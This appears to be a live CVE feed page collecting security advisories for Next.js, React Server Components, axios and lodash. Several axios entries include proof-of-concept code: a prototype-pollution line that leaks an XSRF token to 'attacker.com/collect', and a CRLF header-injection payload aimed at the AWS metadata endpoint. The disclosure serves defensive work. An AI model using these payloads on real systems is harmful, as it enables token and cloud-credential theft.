Threat Intelligence

Live CVE feed

136 threats tracked across 6 launch stacks — sourced from NVD, GHSA, CISA KEV, and OSV.

30threats · Next.js · Medium· page 1/2
Get guardrails →

Next.js vulnerable to cache poisoning in React Server Component responses

Impact Applications using React Server Components can be vulnerable to cache poisoning when shared caches do not correctly partition response variants. Under affected conditions, an attacker can cause an RSC response to be served from the original URL and poison shared cache entries so later visitors receive component payloads instead of the expected HTML. Fix We now validate and interpret RSC request headers consistently across request classification and rendering, and we enforce the intended cache-busting behavior so RSC payloads are not unexpectedly served from the original URL. Workarounds If you cannot upgrade immediately, ensure your CDN or reverse proxy keys on the relevant RSC request headers and honors Vary, or disable shared caching for affected App Router and RSC responses.

Next.js: null origin can bypass Server Actions CSRF checks

Summary origin: null was treated as a "missing" origin during Server Action CSRF validation. As a result, requests from opaque contexts (such as sandboxed iframes) could bypass origin verification instead of being validated as cross-origin requests. Impact An attacker could induce a victim browser to submit Server Actions from a sandboxed context, potentially executing state-changing actions with victim credentials (CSRF). Patches Fixed by treating 'null' as an explicit origin value and enforcing host/origin checks unless 'null' is explicitly allowlisted in experimental.serverActions.allowedOrigins. Workarounds If upgrade is not immediately possible: Add CSRF tokens for sensitive Server Actions. Prefer SameSite=Strict on sensitive auth cookies. Do not allow 'null' in serverActions.allowedOrigins unless intentionally required and additionally protected.

OWASP A08OWASP WEB
Get guardrail →

Next.js has Unbounded Memory Consumption via PPR Resume Endpoint

A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the Next-Resume: 1 header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion: 1. Unbounded request body buffering: The server buffers the entire POST request body into memory using Buffer.concat() without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory. 2. Unbounded decompression (zipbomb): The resume data cache is decompressed using inflateSync() without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion. Both attack vectors result in a fatal V8 out-of-memory error (FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server. To be affected, an application must run with experimental.ppr: true or cacheComponents: true configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable. Strongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.

OWASP A06OWASP LLM10OWASP WEB
Get guardrail →

Next Server Actions Source Code Exposure

A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55183. A malicious HTTP request can be crafted and sent to any App Router endpoint that can return the compiled source code of Server Functions. This could reveal business logic, but would not expose secrets unless they were hardcoded directly into Server Function code.

OWASP A08OWASP WEB
Get guardrail →

Source Code Exposure Vulnerability in React Server Components

Impact There is a source code exposure vulnerability in React Server Components. React recommends updating immediately. The vulnerability exists in versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1 of: react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack These issues are present in the patches published last week. Patches Fixes were back ported to versions 19.0.2, 19.1.3, and 19.2.2. If you are using any of the above packages please upgrade to any of the fixed versions immediately. If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability. References See the blog post for more information and upgrade instructions.

OWASP A08OWASP WEB
Get guardrail →

Next.js vulnerable to cross-site scripting in App Router applications using CSP nonces

Impact App Router applications that rely on CSP nonces can be vulnerable to stored cross-site scripting when deployed behind shared caches. In affected versions, malformed nonce values derived from request headers could be reflected into rendered HTML in an unsafe way, allowing an attacker to poison cached responses and cause script execution for later visitors. Fix We now reject or ignore malformed nonce values before they are embedded into HTML and apply stricter nonce sanitization so request-derived nonce data cannot break out of the intended attribute context. Workarounds If you cannot upgrade immediately, strip inbound Content-Security-Policy request headers from untrusted traffic.

OWASP A03OWASP WEB
Get guardrail →

Next.js has cross-site scripting in beforeInteractive scripts with untrusted input

Impact Applications that use beforeInteractive scripts together with untrusted content can be vulnerable to cross-site scripting. In affected versions, serialized script content was not escaped safely before being embedded into the document, which could allow attacker-controlled input to break out of the intended script context and execute arbitrary JavaScript in a visitor's browser. Fix We now HTML-escape serialized beforeInteractive script content before embedding it into the page, preventing attacker-controlled content from breaking out of the inline script boundary. Workarounds If you cannot upgrade immediately, do not pass untrusted data into beforeInteractive scripts. If that pattern is unavoidable, sanitize or escape the content before embedding it.

OWASP A03OWASP WEB
Get guardrail →

Next.js has a Denial of Service in the Image Optimization API

Impact When self-hosting Next.js with the default image loader, the Image Optimization API fetches local images entirely into memory without enforcing a maximum size limit. An attacker could cause out-of-memory conditions by requesting large local assets from the /_next/image endpoint that match the images.localPatterns configuration (by default, all patterns are allowed). If you are using images.localPatterns, only the patterns in that array are impacted. If you are using images.unoptimized: true, you are NOT impacted. If you are using images.loader: 'custom', you are NOT impacted. If you are using Vercel, you are NOT impacted. Fix We now apply response size limits consistently to internal image fetches, not just external ones, and fail oversized responses before they can exhaust process memory. This can be adjusted using the images.maximumResponseBody configuration. Workarounds If you cannot upgrade immediately, avoid routing large local assets through /_next/image, disable image optimization for large or untrusted local files, or block image optimization access to those assets at the edge. You can disable using the images.localPatterns: [] configuration. This will still allow fetching remote images (which is not impacted).

axios has DoS & Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions

Summary axios 1.15.2 exposes two read-side prototype-pollution gadgets. When Object.prototype is polluted by an upstream dependency in the same process (e.g. lodash _.merge / CVE-2018-16487), axios silently picks up the polluted values: 1. Header injection - lib/utils.js line 406 builds merge()'s accumulator as result = {}, so result[targetKey] (line 414) walks Object.prototype and the polluted bucket's own keys are copied into the merged headers and ride out on the wire. 2. Crash DoS - lib/core/mergeConfig.js line 26 builds the hasOwnProperty descriptor as a plain-object literal. Object.defineProperty reads descriptor.get/descriptor.set via the prototype chain, so a polluted Object.prototype.get or Object.prototype.set makes the call throw TypeError synchronously on every axios request. Affected Properties | Polluted slot | Effect | |---|---| | Object.prototype.common | injects headers on every method | | Object.prototype.delete / .head / .post / .put / .patch / .query | injects headers on the matching method | | Object.prototype.get | every axios request throws TypeError: Getter must be a function from mergeConfig.js:26 | | Object.prototype.set | every axios request throws TypeError: Setter must be a function from mergeConfig.js:26 | Per-request headers (axios.request(url, { headers: {...} })) overwrite polluted entries. Polluting Object.prototype.get triggers the crash before any header is built. Proof of Concept ``javascript const axios = require('axios'); // Finding A - header injection Object.prototype.common = { 'X-Poisoned': 'yes' }; await axios.get('http://api.example.com/users'); // Wire request carries X-Poisoned: yes. // Finding B - crash DoS Object.prototype.get = { something: 'anything' }; await axios.get('http://api.example.com/users'); // TypeError: Getter must be a function: #<Object> // at Function.defineProperty (<anonymous>) // at mergeConfig (lib/core/mergeConfig.js:26:10) ` Impact Server hang (Content-Length: 99999): receiver waits for a body that never arrives. Affects requests with a body. CL+TE conflict (Transfer-Encoding: chunked rides alongside axios's auto Content-Length): receiver rejects with 400 Bad Request. Affects requests with a body. Response suppression (If-None-Match: ): receiver returns empty 304 Not Modified. Affects GET / HEAD. Crash DoS (Object.prototype.get / .set): every axios request fails synchronously with TypeError, not AxiosError, so handlers filtering on error.isAxiosError mishandle the failure. Attack Flow `mermaid flowchart TD ROOT["Polluted Object.prototype<br/>via upstream gadget (e.g. lodash &lt;= 4.17.10 _.merge / CVE-2018-16487)<br/>axios &lt;= 1.15.2"] ROOT --> CLASS_A["A. Arbitrary HTTP Header Injection<br/>Polluted defaults.headers slot rides along on every outbound axios request"] ROOT --> CLASS_B["B. Crash DoS via Object.prototype.get / .set<br/>Polluted descriptor breaks Object.defineProperty in mergeConfig"] CLASS_A --> PRE_A["Precondition: header not set per-request by the app<br/>Injected via defaults.headers slot<br/>(common, delete, head, post, put, patch, query)"] PRE_A --> PA1["Response Suppression<br/>Trigger: common = {If-None-Match: }<br/>Affects GET / HEAD"] PA1 --> SA1["DoS<br/>304 Not Modified empty"] PRE_A --> PA2["Server Hang<br/>Trigger: common = {Content-Length: 99999}<br/>Affects requests with body"] PA2 --> SA2["DoS<br/>connection hang"] PRE_A --> PA3["CL+TE Conflict<br/>Trigger: common = {Transfer-Encoding: chunked}<br/>Affects requests with body"] PA3 --> SA3["DoS<br/>400 Bad Request"] CLASS_B --> SB1["DoS<br/>TypeError: Getter / Setter must be a function<br/>Crashes every axios request, not only GET"] %% Styles style ROOT fill:#f87171,stroke:#991b1b,color:#fff style CLASS_A fill:#fb923c,stroke:#9a3412,color:#fff style CLASS_B fill:#fb923c,stroke:#9a3412,color:#fff style PRE_A fill:#e2e8f0,stroke:#64748b,color:#1e293b style PA1 fill:#fbbf24,stroke:#92400e,color:#000 style PA2 fill:#fbbf24,stroke:#92400e,color:#000 style PA3 fill:#fbbf24,stroke:#92400e,color:#000 style SA1 fill:#ef4444,stroke:#991b1b,color:#fff style SA2 fill:#ef4444,stroke:#991b1b,color:#fff style SA3 fill:#ef4444,stroke:#991b1b,color:#fff style SB1 fill:#ef4444,stroke:#991b1b,color:#fff ` Root Cause Finding A. lib/utils.js:404-429's merge() creates result = {} at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (isPlainObject(result[targetKey])) still walks the prototype chain. When targetKey matches a polluted slot, result[targetKey] returns the polluted nested object, and the recursive merge(result[targetKey], val) on line 415 iterates that object's own keys via forEach and copies them as own properties into the new accumulator. Those keys flow through mergeConfig.js:35 → Axios.js:148 (utils.merge(headers.common, headers[config.method])) → Axios.js:155 (AxiosHeaders.concat(...)) → onto the wire via http.js:677 (headers: headers.toJSON()) → http.js:767 (transport.request(options, ...)). Finding B. lib/core/mergeConfig.js:25 correctly makes config = Object.create(null), but the descriptor passed on line 26 is a plain-object literal - its get/set lookups walk Object.prototype. A polluted non-function Object.prototype.get or .set makes Object.defineProperty throw TypeError: Getter must be a function (or Setter must be a function) before the call returns. The descriptor is built unconditionally on every mergeConfig invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET. Suggested Fix Use null-prototype objects in place of the plain-object literals at lib/utils.js:406 and lib/core/mergeConfig.js:26-31. The same descriptor pattern recurs at lib/core/AxiosError.js:37, lib/core/AxiosHeaders.js:100, lib/utils.js:447/454/492/498, and lib/adapters/adapters.js:28/32. Resources CVE-2018-16487 - lodash.merge prototype pollution in lodash <= 4.17.10` CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes

OWASP A03OWASP WEB
Get guardrail →

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion Summary The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true) CWE CWE-201: Insertion of Sensitive Information Into Sent Data CWE-183: Permissive List of Allowed Inputs CVSS 3.1 Score: 5.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact | Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input when triggered via prototype pollution. If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination. Vulnerable Code File: lib/helpers/resolveConfig.js, lines 57-66 ``javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig)); // Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } ` Designed behavior: true → always send token (explicit cross-origin opt-in) false → never send token undefined → send only for same-origin requests Actual behavior for non-boolean truthy values (1, "false", {}, []): All treated as truthy → same-origin check skipped → token sent everywhere Proof of Concept `javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1; // In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers ` Verified PoC Output ` withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited) ` Impact Analysis XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP Limitations: Browser-only (XSRF logic runs only in hasStandardBrowserEnv) XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking Attacker still needs a way to deliver the forged request after obtaining the token Recommended Fix Use strict boolean comparison: `javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url)); if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } `` Resources CWE-201: Insertion of Sensitive Information Into Sent Data CWE-183: Permissive List of Allowed Inputs GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory |

Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling. The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success. Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js CWE CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') CWE-287: Improper Authentication CVSS 3.1 Score: 8.2 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash | Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties. Why validateStatus Is Uniquely Vulnerable All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator: ``javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← in traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } } // mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy }; ` The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct. Proof of Concept 1. The Setup (Simulated Pollution) `javascript Object.prototype.validateStatus = () => true; ` 2. The Gadget Trigger (Safe Code) `javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 } ` 3. The Execution `javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true // settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! } ` 4. The Impact ` Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage() After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data ` Verified PoC Output ` --- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500 --- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503) --- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' } ` Impact Analysis Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. Universal Scope: Affects every axios instance in the application, including third-party libraries. Recommended Fix Replace the in operator with hasOwnProperty in mergeDirectKeys: `javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } } ` Resources CWE-1321: Prototype Pollution CWE-287: Improper Authentication GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios MDN: in` operator Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory |

OWASP A03OWASP A07OWASP WEB
Get guardrail →

Axios: no_proxy bypass via IP alias allows SSRF

The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result: no_proxy=localhost does NOT block 127.0.0.1 or [::1] no_proxy=127.0.0.1 does NOT block localhost or [::1] POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888'; ``(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >.... process.env.http_proxy = 'http://127.0.0.1:8888'; console.log('=== Test 1: localhost (should bypass proxy) ==='); try { await axios.get('http://localhost:7777/'); } catch(e) { console.log('Error:', e.message); } console.log(''); console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ==='); try { await axios.get('http://127.0.0.1:7777/'); } catch(e) { console.log('Error:', e.message); } fakeProxy.close(); internalServer.close(); }); }); EOF === Test 1: localhost (should bypass proxy) === ✅ Internal server hit directly (correct) === Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777. `` <img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" /> Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data. Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

OWASP A10OWASP WEB
Get guardrail →

Axios: HTTP adapter streamed responses bypass maxContentLength

Summary When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption. Details In lib/adapters/http.js: 786-789: for responseType === 'stream', Axios immediately settles with the stream. 797-810: maxContentLength enforcement exists only in the non-stream buffering branch. So callers may set maxContentLength and still receive/read arbitrarily large streamed responses. PoC Environment: Axios main at commit f7a4ee2 Node v24.2.0 Steps: 1. Start an HTTP server that returns a 2 MiB response body. 2. Call Axios with: adapter: 'http' responseType: 'stream' maxContentLength: 1024 3. Read the returned stream fully. Observed: Success; full 2097152 bytes readable. Control check: Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded. Impact Type: DoS / unbounded response processing. Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0

Summary For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits. Details Relevant flow in lib/adapters/http.js: 556-564: maxBodyLength check applies only to buffered/non-stream data. 681-682: maxRedirects === 0 selects native http/https transport. 694-699: options.maxBodyLength is set, but native transport does not enforce it. 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting. This creates a path-specific bypass for streamed uploads. ### PoC Environment: Axios main at commit f7a4ee2 Node v24.2.0 Steps: 1. Start an HTTP server that counts uploaded bytes and returns {received}. 2. Send a 2 MiB Readable stream with: adapter: 'http' maxBodyLength: 1024 maxRedirects: 0 Observed: Request succeeds; server reports received: 2097152. Control checks: Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED. Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST. ### Impact Type: DoS / uncontrolled upstream upload / resource exhaustion. Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain Summary The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests. Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain. Severity: Moderate (CVSS 3.1 Base Score: 4.8) Affected Versions: All versions (v0.x - v1.x) Vulnerable Component: lib/adapters/http.js (Header Processing) Usage of \"Helper\" Vulnerabilities This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge. Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request. Proof of Concept 1. The Setup (Simulated Pollution) Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets: ``javascript Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\"; ` 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: `javascript // This looks safe to the developer await axios.get('https://analytics.internal/pings'); ` 3. The Execution Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation. Resulting HTTP traffic: `http GET /pings HTTP/1.1 Host: analytics.internal x-amz-target: dummy PUT /latest/api/token HTTP/1.1 Host: 169.254.169.254 X-aws-ec2-metadata-token-ttl-seconds: 21600 GET /ignore HTTP/1.1 ... ` 4. The Impact In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive. Impact Analysis Confidentiality: May expose limited sensitive information in affected network environments. Integrity: May allow modification of outbound request structure or injected headers. Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service. Recommended Fix Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function. Patch Suggestion: `javascript // In lib/adapters/http.js utils.forEach(requestHeaders, function setRequestHeader(val, key) { if (/[\r\n]/.test(val)) { throw new Error('Security: Header value contains invalid characters'); } // ... proceed to set header }); `` References OWASP: CRLF Injection (CWE-113) This report was generated as part of a security audit of the Axios library.

OWASP A10OWASP WEB
Get guardrail →

lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`

Impact Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype. The issue permits deletion of prototype properties but does not allow overwriting their original behavior. Patches This issue is patched in 4.18.0. Workarounds None. Upgrade to the patched version.

OWASP A03OWASP WEB
Get guardrail →

Next.js: HTTP request smuggling in rewrites

Summary When Next.js rewrites proxy traffic to an external backend, a crafted DELETE/OPTIONS request using Transfer-Encoding: chunked could trigger request boundary disagreement between the proxy and backend. This could allow request smuggling through rewritten routes. Impact An attacker could smuggle a second request to unintended backend routes (for example, internal/admin endpoints), bypassing assumptions that only the configured rewrite destination/path is reachable. This does not impact applications hosted on providers that handle rewrites at the CDN level, such as Vercel. Patches The vulnerability originated in an upstream library vendored by Next.js. It is fixed by updating that dependency’s behavior so content-length: 0 is added only when both content-length and transfer-encoding are absent, and transfer-encoding is no longer removed in that code path. Workarounds If upgrade is not immediately possible: Block chunked DELETE/OPTIONS requests on rewritten routes at your edge/proxy. Enforce authentication/authorization on backend routes per our security guidance.

Next.js: Unbounded next/image disk cache growth can exhaust storage

Summary The default Next.js image optimization disk cache (/_next/image) did not have a configurable upper bound, allowing unbounded cache growth. Impact An attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service. Note that this does not impact platforms that have their own image optimization capabilities, such as Vercel. Patches Fixed by adding an LRU-backed disk cache with images.maximumDiskCacheSize, including eviction of least-recently-used entries when the limit is exceeded. Setting maximumDiskCacheSize: 0 disables disk caching. Workarounds If upgrade is not immediately possible: Periodically clean .next/cache/images. Reduce variant cardinality (e.g., tighten values for images.localPatterns, images.remotePatterns, and images.qualities)

OWASP A06OWASP LLM10OWASP WEB
Get guardrail →

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

Axios does not correctly handle hostname normalization when checking NO_PROXY rules. Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy. This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services. According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost. However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied. This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections. --- PoC ``js import http from "http"; import axios from "axios"; const proxyPort = 5300; http.createServer((req, res) => { console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host); res.writeHead(200, { "Content-Type": "text/plain" }); res.end("proxied"); }).listen(proxyPort, () => console.log("Proxy", proxyPort)); process.env.HTTP_PROXY = http://127.0.0.1:${proxyPort}; 